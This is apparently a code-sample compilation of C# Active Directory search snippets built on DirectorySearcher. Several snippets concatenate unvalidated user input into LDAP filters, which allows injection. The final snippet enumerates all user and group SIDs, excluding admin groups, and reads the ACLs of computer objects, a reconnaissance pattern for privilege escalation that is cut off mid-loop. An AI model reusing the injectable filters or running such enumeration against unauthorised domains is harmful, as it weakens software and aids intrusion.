private DataTable RunLDAPQuery(string query, string column)
    {
        DirectorySearcher ds = new DirectorySearcher();
        string sFilter2 = query;
        ds.Filter = sFilter2;
        SearchResultCollection src2 = ds.FindAll();
        DataTable dt = new DataTable("ADGroups");
        dt.Columns.Add(column, typeof(string));
        foreach (SearchResult s2 in src2)
        {
            ResultPropertyCollection rpc2 = s2.Properties;
            if (rpc2[column].Count > 0)
            {
                for (int icount = 0; icount < rpc2[column].Count; icount++)
                {
                    DataRow dr = dt.NewRow();
                    dr[column] = rpc2[column][icount];

                    dt.Rows.Add(dr);
                }
            }
            else
            {
                DataRow dr = dt.NewRow();
                dr[column] = rpc2[column];
                dt.Rows.Add(dr);
            }
        }
        return dt;
    }
    int UserId; // For User Id

    #endregion Fields

    #region Methods

    /// <summary>
    /// To bind active directory records in user details grid
    /// </summary>
    public void BindUser()
    {
        DataTable DtBindUser = new DataTable();
        DataColumn Dtmail = new DataColumn("mail");
        DataColumn Dtfname = new DataColumn("fname");
        DataColumn Dtlname = new DataColumn("lname");
        DataColumn DtdisplayName = new DataColumn("displayName");
        DtBindUser.Columns.Add(Dtmail);
        DtBindUser.Columns.Add(Dtfname);
        DtBindUser.Columns.Add(Dtlname);
        DtBindUser.Columns.Add(DtdisplayName);
        DataRow Druser;

        // Added connection string for active directory user
        string connection = ConfigurationManager.ConnectionStrings["ADConnection"].ToString();
        DirectorySearcher DsSearch = new DirectorySearcher(connection);

        // declaired domain from which you want to fetch active directory users
        DirectoryEntry UserDomain = new DirectoryEntry("LDAP://DC=kpmg,DC=aptaracorp,DC=com");
        DirectorySearcher Usersearch = new DirectorySearcher(connection);
        DsSearch.SearchRoot = UserDomain;
        DsSearch.SearchScope = SearchScope.Subtree;
        SearchResultCollection UserResult;

        //Applied Filter On User For Specific Fname and Lname
        Usersearch.Filter = "(&(objectClass=user)(sn=" + txtLastName.Text + "*)(givenName=" + txtFName.Text + "*))";
        UserResult = Usersearch.FindAll();
        for (int i = 0; i < UserResult.Count; i++)
        {
            string AccounName = UserResult[i].Properties["samaccountname"][0].ToString();
            DirectorySearcher DrSearcher = new System.DirectoryServices.DirectorySearcher("(samaccountname=" + AccounName + ")");
            SearchResult SrchRes = DrSearcher.FindOne();
            DirectoryEntry DrEntry = SrchRes.GetDirectoryEntry();
            try
            {
                if (DrEntry.Properties["givenName"][0].ToString() != "")
                {
                    string FirstName = DrEntry.Properties["givenName"][0].ToString();
                    string LastName = DrEntry.Properties["sn"][0].ToString();
                    string UserEmail = DrEntry.Properties["mail"][0].ToString();
                    string UserDisName = DrEntry.Properties["displayName"][0].ToString();
                    Druser = DtBindUser.NewRow();
                    Druser["mail"] = UserEmail.ToString();
                    Druser["fname"] = FirstName.ToString();
                    Druser["lname"] = LastName.ToString();
                    Druser["displayName"] = UserDisName.ToString();
                    DtBindUser.Rows.Add(Druser);
                }
            }
            catch
            {
                ////throw;
            }
        }
        if (DtBindUser.Rows.Count > 0)
        {
            grdUserDetails.DataSource = DtBindUser;
            grdUserDetails.DataBind();
        }
    }
Ejemplo n.º 3
0
 public static IEnumerable<SearchResult> SafeFindAll(DirectorySearcher searcher)
 {
     using (SearchResultCollection results = searcher.FindAll())
     {
         foreach (SearchResult result in results)
         {
             yield return result;
         } // SearchResultCollection will be disposed here
     }
 }
Ejemplo n.º 4
0
 //LDAP验证
 public bool VerifyUser(DirectorySearcher searcher)
 {
     try
     {
         //执行以下方法时没抛出异常说明用户名密码正确
         SearchResultCollection rs = searcher.FindAll();
         return true;
     }
     catch (Exception e)
     {
         return false;
     }
 }
Ejemplo n.º 5
0
    public bool UserExists(string username)
    {
        DirectoryEntry de = GetDirectoryEntry();
        de.Username = "******";
        de.Password = "******";
        //de.Username = "******";
        //de.Password = "******";
        DirectorySearcher deSearch = new DirectorySearcher();

        deSearch.SearchRoot = de;
        deSearch.Filter = "(&(objectClass=user) (|(samaccountname=" + username + ")(cn=" + username + ")))";

        SearchResultCollection results = deSearch.FindAll();

        return results.Count > 0;
    }
    public override void CreateNewOutputRows()
    {
        DirectorySearcher ADLookup = new DirectorySearcher();
        ADLookup.Filter = "(cn=IS BI Foundation Team)";
        ADLookup.PropertiesToLoad.Add("member");
        ADLookup.PropertiesToLoad.Add("cn");
        SearchResultCollection group = ADLookup.FindAll();

        foreach (SearchResult member in group)
        {
            foreach (Object memberObj in member.Properties["cn"])
            {
                DirectoryEntry user = new DirectoryEntry(memberObj);
                System.DirectoryServices.PropertyCollection userProps = user.Properties;
                Output0Buffer.AddRow();
                Output0Buffer.User = userProps["SAMAccountName"].Value.ToString();
            }
        }

        /*
        if (result != null)
        {
            for (int i = 0; i < result.Properties["member"].Count; i++)
            {
                DirectorySearcher ADUserLookup = new DirectorySearcher();
                ADUserLookup.Filter = (String)result.Properties["member"][i];
                ADUserLookup.PropertiesToLoad.Add("cn");
                SearchResult user = ADUserLookup.FindOne();

                if (user != null)
                {
                        Output0Buffer.AddRow();
                        Output0Buffer.User = (String)user.Properties["cn"][0];
                }

            }
        }*/
    }
Ejemplo n.º 7
0
        public void TestSearch()
        {
            using (DirectoryEntry de = CreateRootEntry())
            {
                DeleteOU(de, "SearchRoot");

                try
                {
                    using (DirectoryEntry rootOU = CreateOU(de, "SearchRoot", "Root OU"))
                        using (DirectoryEntry childOU = CreateOU(rootOU, "Search.Child1", "Root Child 1 OU"))
                            using (DirectoryEntry anotherChildOU = CreateOU(rootOU, "Search.Child2", "Root Child 2 OU"))
                                using (DirectoryEntry grandChildOU = CreateOU(childOU, "Search.GrandChild", "Grand Child OU"))
                                    using (DirectoryEntry user1 = CreateOrganizationalRole(grandChildOU, "user.search.grandChild.1", "Grand Child User", "1 111 111 1111"))
                                        using (DirectoryEntry user2 = CreateOrganizationalRole(grandChildOU, "user.search.grandChild.2", "Grand Child User", "1 222 222 2222"))
                                        {
                                            user1.Properties["postalCode"].Value    = 98052;
                                            user1.Properties["postalAddress"].Value = "12345 SE 1st Street, City1, State1";
                                            user1.CommitChanges();

                                            user2.Properties["postalCode"].Value    = 98088;
                                            user2.Properties["postalAddress"].Value = "67890 SE 2nd Street, City2, State2";
                                            user2.CommitChanges();

                                            using (DirectorySearcher ds = new DirectorySearcher(rootOU))
                                            {
                                                ds.ClientTimeout = new TimeSpan(0, 2, 0);
                                                ds.Filter        = "(objectClass=organizationalUnit)";
                                                Assert.Equal(4, ds.FindAll().Count);

                                                ds.Filter = "(objectClass=organizationalRole)";
                                                Assert.Equal(2, ds.FindAll().Count);

                                                ds.Filter = "(ou=SearchRoot)";
                                                Assert.Equal(1, ds.FindAll().Count);

                                                ds.Filter = "(ou=Search.Child1)";
                                                Assert.Equal(1, ds.FindAll().Count);

                                                ds.Filter = "(ou=Search.Child2)";
                                                Assert.Equal(1, ds.FindAll().Count);

                                                ds.Filter = "(ou=Search.GrandChild)";
                                                Assert.Equal(1, ds.FindAll().Count);

                                                ds.Filter = "(description=Grand Child OU)";
                                                Assert.Equal(1, ds.FindAll().Count);

                                                ds.Filter = "(description=*)";
                                                Assert.Equal(6, ds.FindAll().Count);

                                                ds.Filter = "(&(description=*)(objectClass=organizationalUnit))";
                                                Assert.Equal(4, ds.FindAll().Count);

                                                ds.Filter = "(&(description=*)(objectClass=organizationalRole))";
                                                Assert.Equal(2, ds.FindAll().Count);

                                                ds.Filter = "(&(description=No Description)(objectClass=organizationalRole))";
                                                Assert.Equal(0, ds.FindAll().Count);

                                                ds.Filter = "(postalCode=*)";
                                                Assert.Equal(2, ds.FindAll().Count);

                                                ds.Filter = "(postalCode=98052)";
                                                Assert.Equal(1, ds.FindAll().Count);
                                                SearchResult sr = ds.FindOne();
                                                Assert.Equal("98052", sr.Properties["postalCode"][0]);

                                                ds.Filter = "(postalCode=98088)";
                                                Assert.Equal(1, ds.FindAll().Count);
                                                sr = ds.FindOne();
                                                Assert.Equal("98088", sr.Properties["postalCode"][0]);
                                            }
                                        }
                }
                finally
                {
                    DeleteOU(de, "SearchRoot");
                }
            }
        }
Ejemplo n.º 8
0
        private List <ADInfoModel> SearchTask(object obj)
        {
            object[]      arr               = obj as object[];
            string        searchPath        = arr[0] as string;
            List <string> noSchemaClassName = arr[1] as List <string>;
            List <string> noName            = arr[2] as List <string>;
            List <string> propertiesToLoad  = arr[3] as List <string>;
            string        filter            = arr[4] as string;
            SearchScope   searchScope       = (SearchScope)arr[5];

            List <ADInfoModel> list = null;

            try
            {
                string path = searchPath;
                if (string.IsNullOrEmpty(path))
                {
                    path = string.Format("LDAP://{0}", this.Domain);
                }
                string domainaccount = string.Format("{0}\\{1}", this.Domain, this.Account);
                using (DirectoryEntry entry = new DirectoryEntry(path, domainaccount, this.Password))
                {
                    using (DirectorySearcher search = new DirectorySearcher(entry))
                    {
                        search.SearchScope  = searchScope;
                        search.Asynchronous = true;
                        search.SizeLimit    = int.MaxValue;

                        if (!string.IsNullOrEmpty(filter))
                        {
                            search.Filter = filter;
                        }

                        if (propertiesToLoad != null && propertiesToLoad.Count > 0)
                        {
                            if (!propertiesToLoad.Contains("name", StringComparer.OrdinalIgnoreCase))
                            {
                                propertiesToLoad.Add("name");
                            }
                            if (!propertiesToLoad.Contains("objectclass", StringComparer.OrdinalIgnoreCase))
                            {
                                propertiesToLoad.Add("objectclass");
                            }
                            if (!propertiesToLoad.Contains("objectguid", StringComparer.OrdinalIgnoreCase))
                            {
                                propertiesToLoad.Add("objectguid");
                            }
                            if (!propertiesToLoad.Contains("adspath", StringComparer.OrdinalIgnoreCase))
                            {
                                propertiesToLoad.Add("adspath");
                            }
                            search.PropertiesToLoad.AddRange(propertiesToLoad.ToArray());
                        }

                        using (var all = search.FindAll())
                        {
                            list = new List <ADInfoModel>(all.Count);
                            foreach (SearchResult searchResult in all)
                            {
                                var info = Get(searchResult);
                                if (info != null)
                                {
                                    if ((noSchemaClassName == null || !noSchemaClassName.Contains(info.SchemaClassName, StringComparer.OrdinalIgnoreCase)) &&
                                        (noName == null || !noName.Contains(info.Name, StringComparer.OrdinalIgnoreCase)))
                                    {
                                        list.Add(info);
                                    }
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                this.OnErrorCall(ex);
            }

            return(list);
        }
        private static void EnumerateGroups(DomainInformation root, DirectoryEntry directory)
        {
            foreach (DirectoryEntry child in directory.Children)
            {
                if (child.SchemaClassName == "organizationalUnit" || child.SchemaClassName == "container" || child.SchemaClassName == "group")
                {
                    DirectorySearcher mySearcher = new DirectorySearcher(child)
                    {
                        Filter = "(objectClass=group)"
                    };
                    if (mySearcher.FindAll().Count != 0 || child.SchemaClassName == "group")
                    {
                        switch (child.SchemaClassName)
                        {
                        case "organizationalUnit":
                        {
                            var item = new DomainInformation()
                            {
                                Type = DomainInformationTypeEnum.OrganizationUnit, Name = child.Name.Replace("OU=", ""), Description = child.Properties["description"].Value != null ? child.Properties["description"].Value.ToString() : string.Empty
                            };
                            if (root.Childrens.Where(x => x.Name == item.Name && x.Description == item.Description).Count() == 0)
                            {
                                root.Childrens.Add(item);
                                EnumerateGroups(item, child);
                            }
                            break;
                        }

                        case "container":
                        {
                            var item = new DomainInformation()
                            {
                                Type = DomainInformationTypeEnum.OrganizationUnit, Name = child.Name.Replace("CN=", ""), Description = child.Properties["description"].Value != null ? child.Properties["description"].Value.ToString() : string.Empty
                            };
                            if (root.Childrens.Where(x => x.Name == item.Name && x.Description == item.Description).Count() == 0)
                            {
                                root.Childrens.Add(item);
                                EnumerateGroups(item, child);
                            }
                            break;
                        }

                        case "group":
                        {
                            var item = new DomainInformation()
                            {
                                Type = DomainInformationTypeEnum.Group, Name = child.Name.Replace("CN=", ""), Description = child.Properties["description"].Value != null ? child.Properties["description"].Value.ToString() : string.Empty, Info = ParseGroupInfo(child)
                            };
                            if (root.Childrens.Where(x => x.Name == item.Name && x.Description == item.Description).Count() == 0)
                            {
                                if (child.Properties["member"] != null)
                                {
                                    foreach (var member in child.Properties["member"])
                                    {
                                        (item.Info as ActiveDirectoryGroupInfo).Members.Add(member.ToString().Split(',')[0].Replace("CN=", ""));
                                    }
                                }
                                root.Childrens.Add(item);
                            }
                            break;
                        }
                        }
                    }
                    else
                    {
                        continue;
                    }
                }
                else
                {
                    continue;
                }
            }
        }
Ejemplo n.º 10
0
        private void SyncComputers()
        {
            Logger.Debug("Synchronizing Computers From Active Directory");
            var allCompDict = new Dictionary <string, string>();

            //Get All ad enabled computer excluding servers
            var enabledCompDict = new Dictionary <string, string>();

            using (DirectoryEntry entry = InitializeEntry())
            {
                using (DirectorySearcher searcher = new DirectorySearcher(entry))
                {
                    searcher.Filter = "(&(objectCategory=Computer)(!userAccountControl:1.2.840.113556.1.4.803:=2)(!operatingSystem=*server*))";
                    searcher.PropertiesToLoad.Add("cn");
                    searcher.PropertiesToLoad.Add("distinguishedName");
                    searcher.SizeLimit = 0;
                    searcher.PageSize  = 500;
                    foreach (SearchResult res in searcher.FindAll())
                    {
                        enabledCompDict.Add((string)res.Properties["distinguishedName"][0],
                                            ((string)res.Properties["cn"][0]).ToUpper());
                    }
                }
            }

            //Get All ad disabled computer excluding servers
            var disabledCompDict = new Dictionary <string, string>();

            using (DirectoryEntry entry = InitializeEntry())
            {
                using (DirectorySearcher searcher = new DirectorySearcher(entry))
                {
                    searcher.Filter = "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=2)(!operatingSystem=*server*))";
                    searcher.PropertiesToLoad.Add("cn");
                    searcher.PropertiesToLoad.Add("distinguishedName");
                    searcher.SizeLimit = 0;
                    searcher.PageSize  = 500;
                    foreach (SearchResult res in searcher.FindAll())
                    {
                        disabledCompDict.Add((string)res.Properties["distinguishedName"][0],
                                             ((string)res.Properties["cn"][0]).ToUpper());
                    }
                }
            }

            disabledCompDict.ToList().ForEach(x => allCompDict[x.Key] = x.Value);
            enabledCompDict.ToList().ForEach(x => allCompDict[x.Key]  = x.Value);


            if (allCompDict.Count > 0)
            {
                var currentAdComputers = _computerService.GetAllAdComputers();
                var toArchive          = (from adComputer in currentAdComputers
                                          let doesExist = allCompDict.FirstOrDefault(x => x.Value == adComputer.Name)
                                                          where doesExist.Value == null
                                                          select adComputer.Id).ToList();

                foreach (var compId in toArchive)
                {
                    _computerService.ArchiveComputer(compId);
                }
            }

            foreach (var comp in enabledCompDict)
            {
                var existing = _computerService.GetByName(comp.Value);
                if (existing == null)
                {
                    var computerEntity = new EntityComputer();
                    computerEntity.Name            = comp.Value;
                    computerEntity.IsAdSync        = true;
                    computerEntity.AdDisabled      = false;
                    computerEntity.ProvisionStatus = EnumProvisionStatus.Status.PreProvisioned;
                    computerEntity.CertificateId   = -1;
                    var addResult = _computerService.AddComputer(computerEntity);
                    if (addResult == null)
                    {
                        continue;
                    }
                    if (addResult.Success)
                    {
                        CreateMembershipList(computerEntity, comp.Key);
                    }
                }
                else
                {
                    if (!existing.IsAdSync)
                    {
                        existing.IsAdSync   = true;
                        existing.AdDisabled = false;
                        _computerService.UpdateComputer(existing);
                    }
                    else if (existing.IsAdSync && existing.AdDisabled)
                    {
                        existing.AdDisabled = false;
                        _computerService.UpdateComputer(existing);
                    }
                    CreateMembershipList(existing, comp.Key);
                }
            }


            foreach (var comp in disabledCompDict)
            {
                var existing = _computerService.GetByName(comp.Value);
                if (existing == null)
                {
                    var computerEntity = new EntityComputer();
                    computerEntity.Name            = comp.Value;
                    computerEntity.IsAdSync        = true;
                    computerEntity.AdDisabled      = true;
                    computerEntity.ProvisionStatus = EnumProvisionStatus.Status.PreProvisioned;
                    computerEntity.CertificateId   = -1;
                    var addResult = _computerService.AddComputer(computerEntity);
                    if (addResult == null)
                    {
                        continue;
                    }
                    if (addResult.Success)
                    {
                        CreateMembershipList(computerEntity, comp.Key);
                    }
                }
                else
                {
                    if (!existing.IsAdSync)
                    {
                        existing.IsAdSync   = true;
                        existing.AdDisabled = true;
                        _computerService.UpdateComputer(existing);
                    }
                    else if (existing.IsAdSync && !existing.AdDisabled)
                    {
                        existing.AdDisabled = true;
                        _computerService.UpdateComputer(existing);
                    }
                    CreateMembershipList(existing, comp.Key);
                }
            }
        }
    protected void btnImport_Click(object sender, EventArgs e)
    {
        try
        {
            string varObjDomainName;
            string Username = "";
            string Password = "";
            Username = txtUserName.Text;
            Password = txtPassword.Text;
            // Assign domain name to variable varDomainName and varObjDomainName
            varObjDomainName = txtDomainName.Text.ToString().Trim();
            // Create object de of Directory Entry Class
            DirectoryEntry myDirectoryEntry = new DirectoryEntry(String.Format("LDAP://{0}", varObjDomainName));
            myDirectoryEntry.Username = Username;
            myDirectoryEntry.Password = Password;
            //  DirectoryEntry myDirectoryEntry = new DirectoryEntry(String.Format("LDAP://{0}/ou=Sur;ou=apc;dc=Terex;dc=local",varObjDomainName));
            // Create object mySearcher of DirectorySearcher Class
            DirectorySearcher mySearcher = new DirectorySearcher(myDirectoryEntry);
            //  mySearcher.SearchScope = SearchScope.Subtree;
            mySearcher.Filter = "(&(objectClass=user)(objectCategory=person))";

            // mySearcher.Filter = "(objectClass=group)";
            // Create Local Variable OrganizationId to get organization id
            int OrganizationId;
            // Call Function Get_Organization() to get the object of Organization_mst
            objOrg = objOrg.Get_Organization();
            // Assign Organization id to variable OrganizationId
            OrganizationId = objOrg.Orgid;
            //  Create Localvariable varRoleName get role form Gloabl Resource File MessageResource and later assign to user when user import to database
            string varRoleName = Resources.MessageResource.BasicUserRole.ToString();
            //  Assign roleid to local variable varRoleid by calling function Get_By_RoleName
            int varRoleid = objRoleInfo.Get_By_RoleName(varRoleName);
            //  Create Local Variable  FlagSave and FlagUserExist to check status of save and user Exist
            int FlagSave = 0;
            int FlagUserExist = 0;
            foreach (SearchResult result in mySearcher.FindAll())
            {
                try
                {
                    //if (!String.IsNullOrEmpty(result.Properties["Mail"][0].ToString())
                    //    && System.Text.RegularExpressions.Regex.IsMatch(result.Properties["DisplayName"][0].ToString(), " |admin|test|service|system|[$]", System.Text.RegularExpressions.RegexOptions.IgnoreCase)                                         )
                    //{
                    string SAMAccountName = Convert.ToBoolean(result.Properties["sAMAccountName"].Count > 0) ? result.Properties["sAMAccountName"][0].ToString() : "";
                    string DisplayName = Convert.ToBoolean(result.Properties["displayName"].Count > 0) ? result.Properties["displayName"][0].ToString() : "";
                    string mail = Convert.ToBoolean(result.Properties["mail"].Count > 0) ? result.Properties["mail"][0].ToString() : "";
                    string company = Convert.ToBoolean(result.Properties["company"].Count > 0) ? result.Properties["company"][0].ToString() : "";
                    // Create loccal variable FlagStatus,varUsername
                    int FlagStatus;
                    string varUserName;
                    // Assign username to variable varUserName
                    varUserName = SAMAccountName.ToString().Trim();
                    //  Declare local Variable Flag to Check Status User Exist in databse
                    FlagStatus = objUserLogin.Get_By_UserName(varUserName, OrganizationId);
                    // If variable FlagStatus is zero  then User does not exist in database
                    if (FlagStatus == 0)
                    {
                        // Create local variable FlagInsertStatus to check insert status of function
                        int FlagInsertStatus;
                        // Create local variable VarPassword to get passowrd which is generated using function GeneratePassword()
                        string VarPassword = Membership.GeneratePassword(8, 2);
                        objUserLogin.ADEnable = true;
                        objUserLogin.Createdatetime = DateTime.Now.ToString();
                        objUserLogin.Enable = true;
                        objUserLogin.Orgid = OrganizationId;
                        objUserLogin.Password = VarPassword;
                        objUserLogin.Username = varUserName;
                        objUserLogin.Roleid = varRoleid;
                        objUserLogin.DomainName = varObjDomainName;
                        // Call function objUserLogin.Insert to insert user data to UserLogin_mst table and assign  status in FlagInsertStatus variable
                        FlagInsertStatus = objUserLogin.Insert();
                        // If FlagInsertStatus is 1 then Insert operation is Success
                        if (FlagInsertStatus == 1)
                        {
                            // Create local variable UserId,varFirstName,varLastName,varFullname,arraycount,FlagContactInfo
                            int UserId;
                            string varFirstName = "";
                            string varLastName = "";
                            string[] varFullName;
                            int arraycount;
                            int FlagContactInfo;
                            // Assign Display Name to variable varFullname to get firstname and last name by calling split function
                            varFullName = DisplayName.Split(' ');
                            //Assign  the number of variables in array varFullName to arraycount  ,to check how many elements in varFullName array
                            arraycount = varFullName.Count();
                            varFirstName = varFullName[0].ToString().Trim();
                            // if arraycount is greater than one,than there is more than one values in array varFullName ie it also contain lastname value
                            if (arraycount > 1)
                            {
                                // lastname assign to variable varLastName
                                varLastName = varFullName[1].ToString().Trim();
                            }
                            // Fetch userid of Newly created user and assign to local variable userid by calling function objUserLogin.Get_By_UserName
                            UserId = objUserLogin.Get_By_UserName(varUserName.ToString().Trim(), OrganizationId);
                            objContactInfo.Userid = UserId;
                            // objContactInfo.Deptname = department;
                            objContactInfo.Emailid = mail;
                            objContactInfo.Firstname = varFirstName;
                            objContactInfo.Lastname = varLastName;
                            // Local variable FlagContactInfo contain the status of Insert function objContactInfo.Insert()
                            FlagContactInfo = objContactInfo.Insert();
                            // if FlagContactInfo is zero,means error occured and delete the user record by calling objUserLogin.Delete function
                            if (FlagContactInfo == 0)
                            {
                                objUserLogin.Delete(UserId);
                            }
                            else
                            {
                                // Assign variable FlagSave =1 to show record added successfully in database
                                FlagSave = 1;
                                string varEmail;
                                if (mail == "")
                                {
                                    varEmail = Resources.MessageResource.errMemshipCreateUserEmail.ToString();
                                }
                                else { varEmail = mail.ToString().Trim(); }
                                // Create Mstatus field to send in Membership.CreateUser function as Out Variable for creating Membership User database
                                MembershipCreateStatus Mstatus = default(MembershipCreateStatus);
                                // Call Membership.CreateUser function to create Membership user
                                Membership.CreateUser(varUserName.ToString().Trim(), VarPassword.ToString().Trim(), varEmail, "Project Name", "Helpdesk", true, out Mstatus);
                                // Call Roles.AddUserToRole Function to Add User To Role
                                Roles.AddUserToRole(varUserName.ToString().Trim(), varRoleName);
                            }
                        }
                    }
                    else
                    {
                        FlagUserExist = 1;
                    }
                }
                //}
                catch
                { }
            }
            if (FlagSave == 1)
            {
                // Show Messages from Resources.MessageResource resouces file located in App_GlobalResource Dir
                lblErrMsg.Text = Resources.MessageResource.errDataSave.ToString();
            }
            else
            {
                if (FlagUserExist == 1) { lblErrMsg.Text = Resources.MessageResource.errUserDomainExist.ToString(); }
                else { lblErrMsg.Text = Resources.MessageResource.errOccured.ToString(); }
            }
        }
        catch (Exception ex)
        {
            // Show Messages from Resources.MessageResource resouces file located in App_GlobalResource Dir
            lblErrMsg.Text = Resources.MessageResource.errDomainName.ToString();
        }
        Dispose();
    }
Ejemplo n.º 12
0
        public List <ADUser> ReadUsers()
        {
            List <ADUser> users = new List <ADUser>();

            using (DirectoryEntry startingPoint = new DirectoryEntry(Properties.Settings.Default.ADUrl))
            {
                using (DirectorySearcher searcher = new DirectorySearcher(startingPoint))
                {
                    searcher.PageSize = 500;
                    searcher.Filter   = "(&(objectClass=user)(objectCategory=person)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))";
                    searcher.PropertiesToLoad.Add(Properties.Settings.Default.UserTitleField);
                    searcher.PropertiesToLoad.Add("objectGUID");
                    searcher.PropertiesToLoad.Add(Properties.Settings.Default.UserNameField);
                    searcher.PropertiesToLoad.Add("distinguishedname");
                    searcher.PropertiesToLoad.Add("sAMAccountName");
                    if (!string.IsNullOrEmpty(Properties.Settings.Default.CustomUUIDField))
                    {
                        searcher.PropertiesToLoad.Add(Properties.Settings.Default.CustomUUIDField);
                    }

                    if (!string.IsNullOrEmpty(Properties.Settings.Default.UserEmailField))
                    {
                        searcher.PropertiesToLoad.Add(Properties.Settings.Default.UserEmailField);
                    }

                    if (!string.IsNullOrEmpty(Properties.Settings.Default.UserCprField))
                    {
                        searcher.PropertiesToLoad.Add(Properties.Settings.Default.UserCprField);
                    }

                    using (var resultSet = searcher.FindAll())
                    {
                        foreach (SearchResult res in resultSet)
                        {
                            string uuid = null;
                            if (!string.IsNullOrEmpty(Properties.Settings.Default.CustomUUIDField))
                            {
                                if (res.Properties.Contains(Properties.Settings.Default.CustomUUIDField))
                                {
                                    uuid = (string)res.Properties[Properties.Settings.Default.CustomUUIDField][0];
                                }
                            }
                            else
                            {
                                Guid guid = new Guid((byte[])res.Properties["objectGUID"][0]);
                                uuid = guid.ToString().ToLower();
                            }

                            string dn     = (string)res.Properties["distinguishedname"][0];
                            string name   = (string)res.Properties[Properties.Settings.Default.UserNameField][0];
                            string userId = (string)res.Properties["sAMAccountName"][0];
                            string title  = Properties.Settings.Default.DefaultTitle;
                            if (res.Properties.Contains(Properties.Settings.Default.UserTitleField))
                            {
                                title = (string)res.Properties[Properties.Settings.Default.UserTitleField][0];
                            }

                            string email = null;
                            if (res.Properties.Contains(Properties.Settings.Default.UserEmailField))
                            {
                                email = (string)res.Properties[Properties.Settings.Default.UserEmailField][0];
                            }

                            string cpr = null;
                            if (res.Properties.Contains(Properties.Settings.Default.UserCprField))
                            {
                                cpr = (string)res.Properties[Properties.Settings.Default.UserCprField][0];

                                cpr = cpr.Replace("-", "");
                                if (cpr.Length != 10)
                                {
                                    cpr = null;
                                }
                            }

                            if (string.IsNullOrEmpty(uuid))
                            {
                                log.Warn("User " + userId + " did not have a uuid in attribute '" + Properties.Settings.Default.CustomUUIDField + "'");
                                continue;
                            }

                            try
                            {
                                new Guid(uuid);
                            }
                            catch (Exception)
                            {
                                log.Warn("User " + userId + " did not have a uuid in attribute '" + Properties.Settings.Default.CustomUUIDField + "'. Invalid value: " + uuid);
                                continue;
                            }

                            bool skip = false;

                            if (!string.IsNullOrEmpty(SAMAccountPrefix))
                            {
                                if (!userId.StartsWith(SAMAccountPrefix))
                                {
                                    skip = true;
                                }
                            }

                            foreach (string ouToIgnore in ousToIgnore)
                            {
                                if (ouToIgnore.Trim().Length == 0)
                                {
                                    continue;
                                }

                                if (dn.ToLower().EndsWith(ouToIgnore.ToLower()))
                                {
                                    skip = true;
                                }
                            }

                            if (skip)
                            {
                                continue;
                            }

                            ADUser user = new ADUser();
                            user.Dn     = dn;
                            user.Title  = title;
                            user.Name   = name;
                            user.Uuid   = uuid.ToString().ToLower();
                            user.UserId = userId;
                            user.Cpr    = cpr;
                            user.Email  = email;

                            users.Add(user);
                        }
                    }
                }
            }

            return(users);
        }
Ejemplo n.º 13
0
        static void Main(string[] args)
        {
            var    stopWatch     = Stopwatch.StartNew();
            string currentDomain = null;

            try
            {
                currentDomain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().ToString();
                Console.WriteLine("This is the current domain: " + currentDomain);
            }
            catch
            {
                Console.WriteLine("Unable to get domain from current user context. Please specify domain to user");
            }

            // Get user domain information
            if (currentDomain != null)
            {
                string searchBase = "LDAP://DC=" + currentDomain.Replace(".", ",DC=");

                //Start searching for all AD users?
                DirectoryEntry    adEntry    = new DirectoryEntry(searchBase);
                DirectorySearcher userSearch = new DirectorySearcher(adEntry);

                userSearch.Filter = "(&(samAccountType=805306368))";
                userSearch.PropertiesToLoad.Add("objectsid");
                userSearch.PropertiesToLoad.Add("samaccountname");
                userSearch.PageSize  = int.MaxValue;
                userSearch.SizeLimit = int.MaxValue;

                Console.WriteLine("Searching for all users...");
                SearchResultCollection userResults = null;
                SearchResult           result;
                userResults = userSearch.FindAll();

                var allSids = new List <string>();
                Dictionary <string, string> sidMapping = new Dictionary <string, string>();
                if (userResults != null)
                {
                    Console.WriteLine("There are this many users: " + userResults.Count);
                    for (int counter = 0; counter < userResults.Count; counter++)
                    {
                        result = userResults[counter];
                        var usrId    = (byte[])result.Properties["objectsid"][0];
                        var objectID = (new SecurityIdentifier(usrId, 0)).ToString();
                        allSids.Add(objectID.ToString());
                        sidMapping.Add(objectID.ToString(), result.Properties["samaccountname"][0].ToString());
                    }
                }

                // Search for all AD groups
                DirectorySearcher groupSearch = new DirectorySearcher(adEntry);

                groupSearch.Filter = "(&(objectCategory=group))";
                groupSearch.PropertiesToLoad.Add("objectsid");
                groupSearch.PropertiesToLoad.Add("samaccountname");
                groupSearch.PageSize  = int.MaxValue;
                groupSearch.SizeLimit = int.MaxValue;

                Console.WriteLine("Searching for all groups...");
                SearchResultCollection groupResults = null;
                SearchResult           groupResult;
                groupResults = groupSearch.FindAll();

                if (groupResults != null)
                {
                    Console.WriteLine("There are this many groups: " + groupResults.Count);
                    for (int counter = 0; counter < groupResults.Count; counter++)
                    {
                        groupResult = groupResults[counter];
                        // Filter out groups that have privileges over objects like Domain Admins
                        if (!(groupResult.Properties["samaccountname"][0].ToString().Equals("Domain Admins") || groupResult.Properties["samaccountname"][0].ToString().Equals("Account Operators") || groupResult.Properties["samaccountname"][0].ToString().Equals("Enterprise Admins") || groupResult.Properties["samaccountname"][0].ToString().Equals("Administrators") || groupResult.Properties["samaccountname"][0].ToString().Equals("DnsAdmins") || groupResult.Properties["samaccountname"][0].ToString().Equals("Schema Admins") || groupResult.Properties["samaccountname"][0].ToString().Equals("Key Admins") || groupResult.Properties["samaccountname"][0].ToString().Equals("Enterprise Key Admins") || groupResult.Properties["samaccountname"][0].ToString().Equals("Storage Replica Administrators")))
                        {
                            var groupId  = (byte[])groupResult.Properties["objectsid"][0];
                            var objectID = (new SecurityIdentifier(groupId, 0)).ToString();
                            allSids.Add(objectID.ToString());
                            sidMapping.Add(objectID.ToString(), groupResult.Properties["samaccountname"][0].ToString());
                        }
                    }
                }

                // Search for all AD Computer SIDs

                // Search for all computer acls?
                Console.WriteLine("Searching for all computers...");
                DirectorySearcher aclSearch = new DirectorySearcher(adEntry);
                aclSearch.Filter = "(&(samAccountType=805306369))";
                var Properties = new[] { "samaccountname", "ntsecuritydescriptor", "objectsid", "dnshostname" };
                aclSearch.PropertiesToLoad.AddRange(Properties);
                aclSearch.SecurityMasks = SecurityMasks.Dacl | SecurityMasks.Owner;
                aclSearch.SizeLimit     = int.MaxValue;
                aclSearch.PageSize      = int.MaxValue;
                SearchResultCollection aclResults = aclSearch.FindAll();

                // Include the computer SIDs in allSids
                for (int counter = 0; counter < aclResults.Count; counter++)
                {
                    result = aclResults[counter];
